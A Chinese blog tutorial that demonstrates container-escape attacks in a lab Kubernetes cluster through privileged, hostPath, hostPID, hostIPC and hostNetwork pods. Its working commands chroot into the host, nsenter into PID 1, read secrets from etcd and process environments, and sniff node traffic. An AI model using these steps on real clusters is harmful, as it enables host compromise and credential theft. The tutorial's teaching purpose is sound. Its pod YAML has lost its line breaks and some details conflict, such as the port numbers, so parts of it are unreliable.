当前位置：首页 > news >正文

容器安全 - 利用容器的特权配置实现对Kubernetes容器的攻击

news 2025/12/16 0:10:41

《OpenShift / RHEL / DevSecOps 汇总目录》

文章目录

准备环境
利用特权配置对Kubernetes容器攻击
- privileged + hostpath
- privileged + hostpid
- privileged
- hostpath
- hostpid
- hostipc
- hostnetwork
参考

通过将运行 Pod 的 privileged 设为 true，容器就以特权模式运行在宿主机上。和普通容器相比，特权容器具有非常大的权限和能力。

容器被赋予所有能力
不屏蔽敏感路径，例如 sysfs 中的 kernel 模块 within
Any sysfs and procfs mounts are mounted RW
AppArmor 保护不生效
Seccomp 限制不生效
cgroup 不限制访问任何设备
所有宿主机的设备都可以在容器中访问
SELinux 限制不生效

本文将演示如何利用在 Kubernetes 中容器的 privileged、hostpath、hostpid、hostipc、hostnetwork 配置实现对容器或宿主机的攻击，包括获得敏感数据、杀掉关键进程等。

privileged: 控制容器是否具有特权，特权容器拥有宿主机上的所有操作权限，可以访问宿主机上的所有设备。
hostpath: 将宿主机的指定目录挂载到容器中，这样就可以从容器中访问宿主机的指定目录。
hostpid：控制从容器中是否可以查看宿主机的进程信息。
hostipc：控制从容器中是否可以查看宿主机的 IPC 信息。
hostnetwork：控制容器是否直接使用并运行在宿主机的网络上。

准备环境

由于 OpenShift 缺省自带较高的安全防护，因此为了容易演示相关场景，本文没有采用 OpenShift 而使用的是 killercoda 网站的免费 Kubernetes 环境。

执行命令可以看到该环境的 Kubernetes 集群有 2 个节点。另外从提示符可以看到当前是在 controlplane 节点所在的 Linux 操作系统上。

$ kubectl get node -owide
NAME           STATUS   ROLES           AGE   VERSION   INTERNAL-IP   EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION      CONTAINER-RUNTIME
controlplane   Ready    control-plane   41d   v1.28.1   172.30.1.2    <none>        Ubuntu 20.04.5 LTS   5.4.0-131-generic   containerd://1.6.12
node01         Ready    <none>          41d   v1.28.1   172.30.2.2    <none>        Ubuntu 20.04.5 LTS   5.4.0-131-generic   containerd://1.6.12

为了后面的测试，我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。

$ kubectl create secret generic my-secret \--from-literal=username=myadmin \--from-literal=password='mypass'$ mkdir /test && ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var

利用特权配置对Kubernetes容器攻击

privileged + hostpath

privileged + hostpath 的配置组合使得可以在容器中直接访问到宿主机的文件系统。如果容器是运行在 master 节点上，则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

执行以下命令，创建 Pod。根据配置可知该 Pod 将运行在 controlplane 节点。

$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-hostpath-exec-pod
spec:containers:- name: priv-hostpath-podimage: ubuntusecurityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderootcommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane volumes:- name: noderoothostPath:path: /
EOF

在确认 Pod 运行后进入该 Pod 内部。

$ kubectl get pod priv-hostpath-exec-pod
NAME                     READY   STATUS    RESTARTS   AGE
priv-hostpath-exec-pod   1/1     Running   0          2m26s$ kubectl exec -it priv-hostpath-exec-pod -- chroot /host

确认可以从该 Pod 内部看到宿主机的 /test 目录。

# ls
bin  boot  dev  etc  home  ks  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var

确认可以从该 Pod 内获取到保存在 Kubernetes 集群未加密的 ETCD 数据库中的 Secret 数据。

# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
!/registry/secrets/default/my-pass
Secretmy-secret
default"
*$7eb4a277-6c36-46aa-aa12-a53ab07990d32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged + hostpid

当 privileged 设为 true 时容器会以特权运行，而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程，并允许进入这些进程的命名空间。

执行以下命令创建 Pod。根据配置可知该 Pod 将运行在 controlplane 节点，并从该 Pod 进入属于宿主机的 init system (PID 1 进程) ，从而能访问宿主机文件系统并在宿主机上执行命令。

$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-and-hostpid-exec-pod
spec:hostPID: truecontainers:- name: priv-and-hostpid-podimage: ubuntutty: truesecurityContext:privileged: truecommand: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]nodeName: controlplane 
EOF

确认 Pod 运行后可直接获取到保存在 Kubernetes 集群未加密的 ETCD 数据库中的 Secret 数据。

$ kubectl get pod priv-and-hostpid-exec-pod
NAME                        READY   STATUS    RESTARTS   AGE
priv-and-hostpid-exec-pod   1/1     Running   0          47s$ kubectl exec -it priv-and-hostpid-exec-pod -- strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$e4c9c62d-0cb2-4d81-ba0c-c23c0b3b9bc92
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged

当 privileged 设为 true 时容器会以特权运行，这样可以从容器中访问宿主机的任何设备。

执行命令运行具有特权的 Pod。

$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-exec-pod
spec:containers:- name: priv-podimage: redhat/ubi8-initsecurityContext:privileged: truecommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane
EOF

进入运行的 Pod。

$ kubectl get pod priv-exec-pod
NAME                 READY   STATUS    RESTARTS   AGE
priv-exec-pod   1/1     Running   0          66s
$ kubectl exec -it priv-exec-pod -- bash

执行命令查看分区，其中 /dev/vda1 为代表宿主机存储的设备。

[root@priv-exec-pod /]# fdisk -l
。。。
Device      Start      End  Sectors  Size Type
/dev/vda1  227328 41943006 41715679 19.9G Linux filesystem
/dev/vda14   2048    10239     8192    4M BIOS boot
/dev/vda15  10240   227327   217088  106M EFI SystemPartition table entries are not in disk order.

将 /dev/vda1 挂在到容器的 /host 目录下，确认可以看到宿主机的 test 验证目录。

[root@priv-exec-pod /]# mkdir /host
[root@priv-exec-pod /]# mount /dev/vda1 /host/
[root@priv-exec-pod /]# ls /host
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var

确认可以获得宿主机上未加密 ETCD 数据库中的 Secret 敏感数据。

[root@priv-exec-pod /]# chroot /host
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$054abb91-a986-4835-91f6-7ee0bbb0c4f52
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostpath

通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中，从而获得宿主机文件系统的读/写权限。这样就可以执行上述大多数相同的权限升级路径。

执行命令运行具有 hostpath 特性的 Pod，它将挂载宿主机的 / 目录。

$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostpath-exec-pod
spec:containers:- name: hostpath-exec-podimage: ubuntuvolumeMounts:- mountPath: /hostname: noderootcommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane volumes:- name: noderoothostPath:path: /
EOF

进入 Pod 并切换到宿主机目录，确认可以看到 test 验证目录。

$ kubectl exec -it hostpath-exec-pod -- chroot /host
# ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var

确认可以获得宿主机上未加密 ETCD 数据库中的 Secret 敏感数据。

# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$7cc91580-3550-4732-8f35-75125e7978002
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
#

hostpid

当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程，还包括在 pod 中运行的进程以及 pod 的环境变量（/proc/[PID]/environ 文件）和 pod 的文件描述符（/proc/[PID]/fd[X]）。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外，还可以通过 kill 进程来危害 Kubernetes 集群的运行。

执行命令运行具有 hostpid 特性的 Pod。

$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostpid-exec-pod
spec:hostPID: truecontainers:- name: hostpid-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01 
EOF

再运行另一个使用测试 Secret 的 Pod。

$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: mypasswd-pod
spec:containers:- name: mysqlimage: busyboxcommand: ['sh', '-c', 'echo "Hello, Kubernetes!" && sleep 1000']env:- name: MY_PASSWORDvalueFrom:secretKeyRef:name: my-secretkey: passwordnodeName: node01 
EOF

确认 2 个 Pod 都在运行。

$ kubectl get pod hostpid-exec-pod mypasswd-pod -o wide
NAME                READY   STATUS    RESTARTS   AGE     IP            NODE           NOMINATED NODE   READINESS GATES
hostpid-exec-pod    1/1     Running   0          2m32s   192.168.1.3   node01         <none>           <none>
mypasswd-pod        1/1     Running   0          72s     192.168.1.4   node01         <none>           <none>

进入 hostpid 为 true 的 Pod，然后确认可以在 /proc/*/environ 中查找到 mypass 关键字和对应的内容。

$ kubectl exec -it hostpid-exec-pod -- bash
root@hostpid-exec-pod:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-exec-pod:/# cat envs.txt | grep mypass
HOSTNAME=mypasswd-pod
MY_PASSWORD=mypass

hostipc

当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间，利用 IPC 可以访问到保存在宿主机共享内存中的数据。

执行命令运行 2 个具有 hostipc 特性的 Pod。

$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostipc-exec-pod-1
spec:hostIPC: truecontainers:- name: hostipc-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01
---
apiVersion: v1
kind: Pod
metadata:name: hostipc-exec-pod-2
spec:hostIPC: truecontainers:- name: hostipc-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01
EOF

在 Pod 都运行后进入 hostipc-exec-pod-1。

$ kubectl get pod hostipc-exec-pod-1 hostipc-exec-pod-2 -o wide
NAME                 READY   STATUS    RESTARTS   AGE   IP            NODE     NOMINATED NODE   READINESS GATES
hostipc-exec-pod-1   1/1     Running   0          37s   192.168.1.5   node01   <none>           <none>
hostipc-exec-pod-2   1/1     Running   0          37s   192.168.1.6   node01   <none>           <none>
$ kubectl exec -it hostipc-exec-pod-1 -- bash

先进入 hostipc-exec-pod-1，将测试数据写入 IPC 共享区。

root@hostipc-exec-pod-1:/# echo "secretpassword" > /dev/shm/secretpassword.txt

再进入 hostipc-exec-pod-2，确认可以通过 IPC 共享区获取到 hostipc-exec-pod-1 写入的测试数据。

$ kubectl exec -it hostipc-exec-pod-2 -- more /dev/shm/secretpassword.txt 
secretpassword

hostnetwork

当 Pod 的 hostnetwork 为 true 时，pod 实际上用的是宿主机的网络地址空间：即 pod IP 是宿主机 IP，而非 cni 分配的 pod IP，端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分，因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

执行命令，创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service。强制 Pod 都运行在 Kubernetes 集群的 node01 节点上。

$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostnetwork-pod
spec:hostNetwork: truecontainers:- name: hostnetworkimage: nginxnodeName: node01
---
apiVersion: apps/v1
kind: Deployment
metadata:name: nginx
spec:replicas: 1selector:matchLabels:app: nginxtemplate:metadata:labels:app: nginxspec:containers:- name: nginximage: nginxnodeName: node01
---
apiVersion: v1
kind: Service
metadata:name: nginx
spec:type: NodePortports:- port: 80selector:app: nginx
EOF

查看 2 个 Pod 运行的 IP 地址，确认普通 Pod 使用的是容器网段 IP 192.168.1.5，而启用 hostnetwork 的 Pod 使用的就是 node01 宿主机节点的 IP 地址。

$ kubectl get pod -owide
NAME                     READY   STATUS    RESTARTS   AGE     IP            NODE     NOMINATED NODE   READINESS GATES
hostnetwork-pod          1/1     Running   0          31m     172.30.2.2    node01   <none>           <none>
nginx-55d65bdfb4-lmkvr   1/1     Running   0          4m33s   192.168.1.3   node01   <none>           <none>

确认普通 Pod 对应 Service 绑定的 nodeport 端口。

$ kubectl get svc nginx -ojsonpath={.spec.ports[0].nodePort}
32004

进入使用 hostnetwork 的 Pod，如果没有 tcpdump 可以安装，然后使用 tcpdump 开始嗅探到流经 32004 端口的 TCP 数据。刚开始运行还没有嗅探到数据。

$ kubectl exec -it hostnetwork-pod -- bash
root@node01:/# apt update && apt -y install tcpdump 
root@node01:/# tcpdump -s 0 -A 'tcp dst port 32004 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

在一个新的终端里使用 node01 的 IP 和 Service 绑定的 nodeport 访问运行在普通 Pod 中的 nginx，确认可以访问到页面。

$ curl -s 172.30.2.2:32329
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p><p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p>
</body>
</html>

回到第 4 步的窗口，确认在 hostnetwork-pod 中已经可以嗅探到 HTML 数据。这些数据可以是敏感的业务数据，或是未经保护的密码等数据。

15:44:04.194826 IP 10.244.4.60.40276 > 172.30.2.2.32329: Flags [P.], seq 3806426523:3806426603, ack 3523874175, win 511, options [nop,nop,TS val 2488373642 ecr 2936282096], length 80
E...p.@.<..1
..<.....T~I..u..
.............
.Q......GET / HTTP/1.1
Host: 172.30.2.2:32329
User-Agent: curl/7.68.0
Accept: */*15:44:04.195068 IP 172.30.2.2.32329 > 10.244.4.60.40276: Flags [P.], seq 1:239, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 238
E.."|.@.?.......
..<~I.T.
....u......d.....
.....Q..HTTP/1.1 200 OK
Server: nginx/1.25.2
Date: Wed, 18 Oct 2023 15:44:04 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Tue, 15 Aug 2023 17:03:04 GMT
Connection: keep-alive
ETag: "64dbafc8-267"
Accept-Ranges: bytes15:44:04.195283 IP 172.30.2.2.32329 > 10.244.4.60.40276: Flags [P.], seq 239:854, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 615
E...|.@.?..W....
..<~I.T.
.m..u............
.....Q..<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p><p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p>
</body>
</html>

参考

https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html